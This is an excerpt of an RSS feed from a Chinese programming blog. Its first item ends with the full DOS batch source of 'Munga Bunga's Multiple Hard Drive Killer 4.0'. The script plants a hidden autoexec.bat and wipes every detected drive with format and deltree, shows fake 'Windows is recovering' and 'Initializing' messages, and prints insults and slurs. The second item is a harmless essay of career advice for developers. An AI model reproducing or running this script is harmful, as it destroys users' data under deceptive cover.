call attrib -r -h c:autoexec.bat &gt;nul <br />
echo @echo off &gt;c:autoexec.bat <br />
echo call format c: /q /u /autoSample &gt;nul &gt;&gt;c:autoexec.bat <br />
call attrib +r +h c:autoexec.bat &gt;nul <br />
rem Drive checking and assigning the valid drives to the drive variable. <br />
<br />
set drive= <br />
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z <br />
<br />
rem code insertion for Drive Checking takes place here. <br />
rem drivechk.bat is the file name under the root directory. <br />
rem As far as the drive detection and drive variable settings, don't worry about how it <br />
rem works, it's d*amn to complicated for the average or even the expert batch programmer. <br />
rem Except for Tom Lavedas. <br />
<br />
echo @echo off &gt;drivechk.bat <br />
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" &gt; nul &gt;{t}.bat <br />
%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <br />
del {t}.bat <br />
echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat <br />
<br />
cls <br />
echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br />
<br />
rem When errorlevel is 1, then the above is not true, if 0, then it's true. <br />
rem Opposite of binary rules. If 0, it will elaps to the next command. <br />
<br />
echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" &gt; nul &gt;{t}.bat <br />
%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <br />
del {t}.bat <br />
echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat <br />
<br />
cls <br />
echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br />
<br />
rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. <br />
rem if errorlevel is 0, then it will elaps to the next command. <br />
<br />
echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" &gt; nul &gt;{t}.bat <br />
%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <br />
del {t}.bat <br />
echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat <br />
<br />
cls <br />
echo PLEASE WAIT WHILE PROGRAM LOADS . . . <br />
<br />
rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. <br />
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. <br />
<br />
echo :enddc &gt;&gt;drivechk.bat <br />
<br />
rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". <br />
<br />
rem Now we will use the program drivechk.bat to attain valid drive information. <br />
<br />
:Sampledrv <br />
<br />
for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul <br />
del drivechk.bat &gt;nul <br />
if %drive.==. set drive=c <br />
<br />
:form_del <br />
call attrib -r -h c:autoexec.bat &gt;nul <br />
echo @echo off &gt;c:autoexec.bat <br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:autoexec.bat <br />
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:autoexec.bat <br />
echo cls &gt;&gt;c:autoexec.bat <br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:autoexec.bat <br />
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:autoexec.bat <br />
echo cls &gt;&gt;c:autoexec.bat <br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:autoexec.bat <br />
echo for %%%%a in (%drive%) call deltree /y %%%%a: &gt;nul &gt;&gt;c:autoexec.bat <br />
echo cls &gt;&gt;c:autoexec.bat <br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:autoexec.bat <br />
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:autoexec.bat <br />
echo cls &gt;&gt;c:autoexec.bat <br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:autoexec.bat <br />
echo for %%%%a in (%drive%) do call c:temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:autoexec.bat <br />
echo cls &gt;&gt;c:autoexec.bat <br />
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . &gt;&gt;c:autoexec.bat <br />
echo for %%%%a in (%drive%) call deltree /y %%%%a: &gt;nul &gt;&gt;c:autoexec.bat <br />
echo cd &gt;&gt;c:autoexec.bat <br />
echo cls &gt;&gt;c:autoexec.bat <br />
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. &gt;&gt;c:autoexec.bat <br />
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . &gt;&gt;c:autoexec.bat <br />
echo echo 1. To make people aware that security should not be taken for granted. &gt;&gt;c:autoexec.bat <br />
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! &gt;&gt;c:autoexec.bat <br />
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. &gt;&gt;c:autoexec.bat <br />
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.&gt;&gt;c:autoexec.bat <br />
<br />
echo echo. &gt;&gt;c:autoexec.bat <br />
echo echo Regards, &gt;&gt;c:autoexec.bat <br />
echo echo. &gt;&gt;c:autoexec.bat <br />
echo echo Munga Bunga &gt;&gt;c:autoexec.bat <br />
call attrib +r +h c:autoexec.bat <br />
<br />
:makedir <br />
if exist c:temp.bat attrib -r -h c:temp.bat &gt;nul <br />
echo @echo off &gt;c:temp.bat <br />
echo %%1: &gt;&gt;c:temp.bat <br />
echo cd &gt;&gt;c:temp.bat <br />
echo :startmd &gt;&gt;c:temp.bat <br />
echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2") do %%%%a &gt;&gt;c:temp.bat <br />
echo for %%%%a in ("&gt;ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! &gt;&gt;c:temp.bat <br />
echo if not exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto startmd &gt;&gt;c:temp.bat <br />
call attrib +r +h c:temp.bat &gt;nul <br />
<br />
cls <br />
echo Initializing Variables . . . <br />
rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for further destruction. <br />
for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul <br />
cls <br />
echo Initializing Variables . . . <br />
echo Validating Data . . . <br />
for %%a in (%drive%) do call c:temp.bat %%a Munga &gt;nul <br />
cls <br />
echo Initializing Variables . . . <br />
echo Validating Data . . . <br />
echo Analyzing System Structure . . . <br />
for %%a in (%drive%) call attrib -r -h %%a: /S &gt;nul <br />
call attrib +r +h c:temp.bat &gt;nul <br />
call attrib +r +h c:autoexec.bat &gt;nul <br />
cls <br />
echo Initializing Variables . . . <br />
echo Validating Data . . . <br />
echo Analyzing System Structure . . . <br />
echo Initializing Application . . . <br />
<br />
for %%a in (%drive%) call deltree /y %%a:*. &gt;nul <br />
cls <br />
echo Initializing Variables . . . <br />
echo Validating Data . . . <br />
echo Analyzing System Structure . . . <br />
echo Initializing Application . . . <br />
echo Starting Application . . . <br />
for %%a in (%drive%) do call c:temp.bat %%a Munga &gt;nul <br />
<br />
cls <br />
echo Thank you for using a Munga Bunga product. <br />
echo. <br />
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. <br />
echo. <br />
echo Here is a joke for you . . . <br />
echo. <br />
echo Q). What's the worst thing about being an egg? <br />
echo A). You only get laid once. <br />
echo. <br />
echo HAHAHAHA, get it? Don't you just love that one? <br />
echo. <br />
echo Regards, <br />
echo. <br />
echo Munga Bunga <br />
<br />
:end <br />
<br />
rem Hard Drive Killer Pro Version 4.0, enjoy!!!! <br />
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here). <br />
<img src ="http://www.blogjava.net/lcs/aggbug/184137.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/lcs/" target="_blank">lk</a> 2008-03-06 09:36 <a href="http://www.blogjava.net/lcs/archive/2008/03/06/184137.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>程序员一定会感兴趣的问题  开发人员需要知道的东西杂谈</title><link>http://www.blogjava.net/lcs/archive/2008/03/05/183989.html</link><dc:creator>lk</dc:creator><author>lk</author><pubDate>Wed, 05 Mar 2008 07:06:00 GMT</pubDate><guid>http://www.blogjava.net/lcs/archive/2008/03/05/183989.html</guid><wfw:comment>http://www.blogjava.net/lcs/comments/183989.html</wfw:comment><comments>http://www.blogjava.net/lcs/archive/2008/03/05/183989.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/lcs/comments/commentRss/183989.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/lcs/services/trackbacks/183989.html</trackback:ping><description><![CDATA[<p>鉴于经常看到很多傻傻的问题，比如xx语言干什么用的，xxx语言是不是落伍了？(不过说实在的,这些问题初学者都会有.) 我在这里说说开发人员应该知道的一些东西。但是这些只是我在平日里看到和想到的。难免有所偏差,请见谅.</p>
<p>&nbsp;&nbsp;&nbsp; 软件开发，是一个综合性的活计。软件开发,并不仅仅是编写代码.学会了用c这些编程语言进行编程只是第一步，一个最最基本要求。其他要的东西还多着呢。在我看来,程序员大致可以分为两类.当一个工作任务分配到程序员身上时,一种程序员知道为什么要这样去做.另外一种则知道怎么去做完这个工作. <br />
而这个区别就大了.如果你知道为什么要这样去实现,这个至少说明你能把握住你的任务在软件工程里面的位置.如果你只是仅仅知道怎么去完成他.那只是说明你能做完这个工作而已.想做好就不一定能行了.而第一种程序员一定能做好.做的最优.看看下面的条条,希望对大家都有所帮助. </p>
<p>第一要说的，编程的关键是什么? </p>
<p><br />
&nbsp;&nbsp;&nbsp; 编程不是实现了代码就可以了.引用我的友人的一句话，&#8220;编程讲究是一个整体的平衡性。&#8221; <br />
对于这个他是这样解释的。&#8220;平衡性，是软件的很重要的部分，从平衡性的角度去考虑编程，就会抑制你想要用最新技术，最新系统等等一些想法。因为从平衡性的角度考虑，只要你的软件有一个瓶颈出现，你的程序就是失败。你首先要考虑的是怎么消除程序中可能存在的一些瓶颈。在这个基础上你才有权利去考虑提高你程序的性能&#8221;.就算你拥有最新的技术，最好系统，如果你的代码不行。只要你的程序有性能瓶颈存在,等于什么都没有做。 </p>
<p>&nbsp;&nbsp;&nbsp; 在这里我想说的就是程序是人写的。如果你的水平不行，再好的现成的技术也是用不起来的。就算用起来了,你可能没有办法说清楚,为什么这样用? </p>
<p>第二要说的，怎么编程? </p>
<p>&nbsp;&nbsp;&nbsp; 我想很多人看到这个问题，一定会在心里把我骂的体无完肤的。心想这小子活腻了。骂也无妨。暂且听我说。我说的怎么编程不是要说怎么写详细的代码，而是你的程序最终是怎么形成的。我想写到这里又有人把我给陵迟了一次了。但实际上编写代码是在软件的生产过程中占有时间比较少的一块。 </p>
<p>我个人觉得要包含以下的几个部分： </p>
<p>1。市场潜力分析 分析你要写的软件能不能卖出去,或者说我要编写什么样的软件? </p>
<p>2。同类产品竞争分析 看看你的同类产品的优缺点,设计你的软件的卖点.(如果没有卖点,就没有必要继续了) <br />
3。软件设计 写出详细的软件流程，数据流程。主要算法。软件架构等 </p>
<p>4。编写代码 不用说了吧 </p>
<p>5。bug测试和试运行 </p>
<p>6。卖 </p>
<p>&nbsp;&nbsp;&nbsp; 这些事，有的是市场的事，有的是系统分析员的事，还有的是编程的事。但是在很多小公司，本着小公司事必亲恭的办事原则。大家多了解一点是不会有错的。 </p>
<p>&nbsp;&nbsp;&nbsp; 举个具体的例子来说。假如我要编写一个共享软件。我要怎么做呢？ </p>
<p>1。要好好想想我要写的软件有没有&#8220;钱&#8221;途。时间在15天－30天左右。在这段时间里面一定要好好的做一下市场考察.这个可是最关键的一步. </p>
<p>2。好，我已经决定要写xxx软件了。 </p>
<p>3。在网上找几个对xxx最有威胁的同类软件，分析它们优缺点。要它们的优点，不要他们的缺点。设计出自己软件的卖点. </p>
<p>4。根据前面分析的结果，大概的列出xxx软件应该具有的功能表 </p>
<p>5。写出1.0版的基本功能表，写出1.x的功能表。不要一次就做完全部的功能,这样的话,你的软件永远都没有出世的机会&nbsp; </p>
<p>6。选择编程语言 (看看,编程语言到这里才出来) </p>
<p>7。上网找类似的源代码，算法。RFC标准文档。吃透.软件代码和算法的良好重用,会让你事半功倍的. </p>
<p>8。根据你选定语言，算法，标准文档，写出xxx的详细设计文档。文档一定要用,不然你的计划性就不强.计划性不强,随意性就大.随意性大了,软件很容易失败的. </p>
<p>9。按照设计文档编写代码 </p>
<p>10。测试和卖 </p>
<p>第三，哪里有资料，标准文档 </p>
<p>&nbsp;&nbsp;&nbsp; 代码的世界是千变万化的, 在开始一个新的项目之前，完全可以找一个类似功能的代码来看看。这样可以更好的改进你的程序。有时还可以加快进度。还有当新的技术出来时，你要看看相关的文档。虽然不要完全了解它的功能，好处。但是你至少要知道新的技术能用在什么地方。怎么用。配合什么其他的技术用能更好的发挥它的作用。编写软件不是全部的东西都是自己写的。有很多的功能是一种标准，也许是标准算法。像图形的，多媒体的，加密解密的算法。有的是一个标准的文件格式，像各种图像文件，多媒体文件。还有的是一种标准的约定。像email，telnet等常见的网络工具。 </p>
<p>所以你要知道你可以从哪里找你要的资料。我把我知道的都写在这里 </p>
<p>源代码和技术资料站点 <br />
www.vchelp.net gb <br />
www.csdn.net gb <br />
www.codeguru.com en <br />
www.codetools.com en <br />
www.dexv.com en <br />
msdn.microsoft.com en <br />
www.programmerheaven.com en <br />
www.freshmeat.net en <br />
www.sourceforge.net en <br />
www-900.ibm.com/developerWorks/ gb <br />
论坛和标准，组织 <br />
www.linuxaid.com.cn gb <br />
www.linuxbyte.com gb <br />
www.aka.org.cn gb <br />
www.rfc.org en gb <br />
各种maillist，irc </p>
<p>第四，要掌握的工具和知识 </p>
<p>&nbsp;&nbsp;&nbsp; 工具，可以让你的工作更加的有效率和不易出错。 </p>
<p>&nbsp;&nbsp;&nbsp; 下面的工具也许你用过，也许你没有用过。不过没有关系的。同行的老鸟会教我们怎么用的。（我想到哪个就写哪个。没有顺序问题） </p>
<p>1。数据库工具 建数据库工具，代表 powerdesigner 数据库分析工具。很多大型的数据库都会带的。 </p>
<p>2。流程图设计 代表 visio 2000 ， smartdraw </p>
<p>3。case工具 代表 rose </p>
<p>4。代码分析工具 代表 bounderchecker(for vc delphi),smartcheck(for vb) .... </p>
<p>5。编辑器 代表 vi，vic，Ultra Edit </p>
<p>6。源代码管理 代表 vss ，cvs </p>
<p>7。编程工具，不要我多说了吧 </p>
<p>8。其他的，我没有用过的，但是也许在某个行业用的很多的工具。（废话 ：）） </p>
<p>&nbsp;&nbsp;&nbsp; 知识的话，因为每一个人的发展方向不一样，所以大部分人的知识结构都不一样。但是有几点应该是一样的。 </p>
<p>1。英语能力 <br />
主要的新的技术，文档资料都是用英语来作为首发的。如果要学到更好更新的知识，技巧。不懂点英语也是不行的。也不要指望有人给你翻译出来。一般来说，这些资料，看的懂的人不需要翻译，看不懂的人没有办法翻译。半懂不懂的人翻译出来的文章我想你也不敢看。所以大部分的资料还是英语原文的。当然也有很多的人在翻译这些文章，但是对于这么多的资料来说，翻译过来的只是很小很小的一部分。求人不如求己。多学点英语没有错的。 </p>
<p>2。设计能力 <br />
虽然一般来说，正规的公司有系统分析员做设计（我猜的）。但是70％－80％的小公司，可就不一定了。知道一点软件工程的知识，知道一些文档设计工具怎么用。或者知道应该有哪些设计文档。也是很有好处的。比较这些东西如果你学到了，就是你自己的了。而且这些可是加工资的好东西。很有钱途的。：） </p>
<p>3。语文写作能力 <br />
作为一个程序员，大部分时间是都是在写代码。但是代码的注释，各种文档，测试报告，说明文档，使用手册编写，这些都需要文字功底的。 还有用email，bbs，qq这些工具与人交流的时候，如果话都说不清楚，那交流就更谈不上了。水平提高进步也就有点问题了。 </p>
<p>4。学习能力 <br />
没有几个人是全部学会了再去工作的。这个不是很现实。目前社会也不太允许这样做。一边工作一边学习是很常见的。也许很多人是在工作之中才学会做某些事情的。很多技能也是这样会的。此外，很多新的项目的到来。很新的技术的到来都要求我们能适应新的工作环境，新的工作要求。如果没有好好的学习是很容易被一个项目踢掉的。呵呵。 <br />
另外有一点，当上司让你做你不会的东西时，你要告诉他，你不会，但是会在XX天内把他搞定。不会没有关系，会学习也是会上进的一种好表现。 </p>
<p>5。知道自己要做什么，要学什么，要发展什么。 </p>
<p>&nbsp;&nbsp;&nbsp; 世界上软件技术是多的像9个牛上的毛一样多，也许还要多很多。如果我们什么都要知道。哦，天哪，我不想活了。</p>
<p>&nbsp;&nbsp;&nbsp; 作为一个软件人员也好，作为一个初学者也好。知道自己要往那个方向走是很重要的。不然很容易的就饿死在软件技术迷宫里的。最后只好不干这一行了。这个可不太好。 <br />
一般来说，作为一个软件人员，掌握一到两个语言的开发能力就可以了。另外除非你是想做软件技术的研发（这些工作最有钱，在大型的公司是最受欢迎）。如果不是做软件技术的研发，只是一般的应用程序编写的话，不用太关注今天出来什么新的技术，明天又出来什么新的技术。这些东西只要知道就行了。知道有这么回事就可以了。以后有用的到的地方再去认真的关注也是不迟的。自己选择一个发展的方向，努力的向前走。不要被各种各样的新技术诱惑过去。说句实话，很多的所谓新技术的怎么怎么好，怎么怎么优异，很多时候都是有商业行为在里面的。要自己会判断才行。如果不能判断怎么办，看下面的一条。 </p>
<p>第六：知道的更多 </p>
<p><br />
&nbsp;&nbsp;&nbsp; 很多初学者最麻烦的事是怎么在这么多的软件技术里面选择一种又好学，又有前途（钱途），又能做点什么伟大的事情的技术来开拓软件开发这个他们未知的领域。对于这个麻烦的问题，很少有解。如果你能遇到一个很好的老师，那就是你的福气，千万要抓住这个机会。如果你不得不一人做出这个决定，那只能是小心翼翼地来了。不过一般来说学c和c＋＋都是一个不错的选择。 </p>
<p>&nbsp;&nbsp;&nbsp; 初学者的另外一个麻烦的问题是，当我选择之后，在学习过程中出现的很多这个和那个的新技术，新的变化。我该怎么办。这个也基本无解。只能是你自己慢慢慢慢积累。积累到你能理解这些新技术的出现是为了什么，这些新变化的发生是为知道的更多 ......,这些新变化的发生是为了什么之后。你就会不怕这些的新的东西。 </p>
<p>&nbsp;&nbsp;&nbsp; 我一向坚持，如果我知道的更多，我的力量就会更大。我就更不会怕出现变化。如果因为你的信息不足，而无法对某件事情进行判断时，千万不要强行进行判断。对你没有好处的。 </p>
<p><br />
转<a href="http://bbs.chinaunix.net/viewthread.php?tid=279647&amp;extra=page%3D1">http://bbs.chinaunix.net/viewthread.php?tid=279647&amp;extra=page%3D1</a>]]&gt;</p>
 <img src ="http://www.blogjava.net/lcs/aggbug/183989.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/lcs/" target="_blank">lk</a> 2008-03-05 15:06 <a href="http://www.blogjava.net/lcs/archive/2008/03/05/183989.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>